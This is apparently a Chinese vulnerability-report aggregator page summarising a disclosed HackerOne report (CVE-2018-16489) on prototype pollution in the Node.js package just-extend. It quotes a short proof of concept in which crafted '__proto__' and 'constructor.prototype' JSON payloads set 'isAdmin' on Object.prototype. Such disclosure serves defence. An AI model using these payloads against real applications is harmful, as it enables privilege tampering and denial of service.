POJIA破甲
地图 / Prototype pollution attack in just-extend

Prototype pollution attack in just-extend

拒绝服务 / 资源消耗失控 / #430291

厂商
Node.js third-party modules
严重程度
低危 · CVSS 5.7
赏金
—
弱点
资源消耗失控
研究员
@asgerf
披露日期
2018-11-29
资产
just-extend
CVE
CVE-2018-16489

该报告还没有中文解读。

原文摘录

摘自原文(1433 字符中的一小部分)
I would like to report a prototype pollution vulnerability in just-extend It allows an attacker to inject properties on Object.prototype.
原文中的代码
var extend = require('just-extend');

var payload1 = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
extend(true, {}, payload1);
console.log({}.isAdmin); // true

var payload2 = JSON.parse('{"__proto__": {"isAdmin2": true}}');
extend(true, {}, payload2);
console.log({}.isAdmin2); …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @asgerf · 版权归作者与 Node.js third-party modules 所有

同类报告

DoS on PayPal via web cache poisoningPayPal · 2019-10-23 · $9,700profile-picture name parameter with large value lead to DoS for other users and programs on the platformHackerOne · 2020-03-25Denial of service to WP-JSON API by cache poisoning the CORS allow origin headerAutomattic · 2020-04-16[Urgent] Invalidating OAuth2 Bearer token makes TweetDeck unavailableX / xAI · 2019-04-25Oracle Webcenter Sites administrative and hi-privilege access available directly from the internet (/cs/Satellite)LocalTapiola · — · $18,000Denial of service via cache poisoningHackerOne · 2018-12-22 · $2,500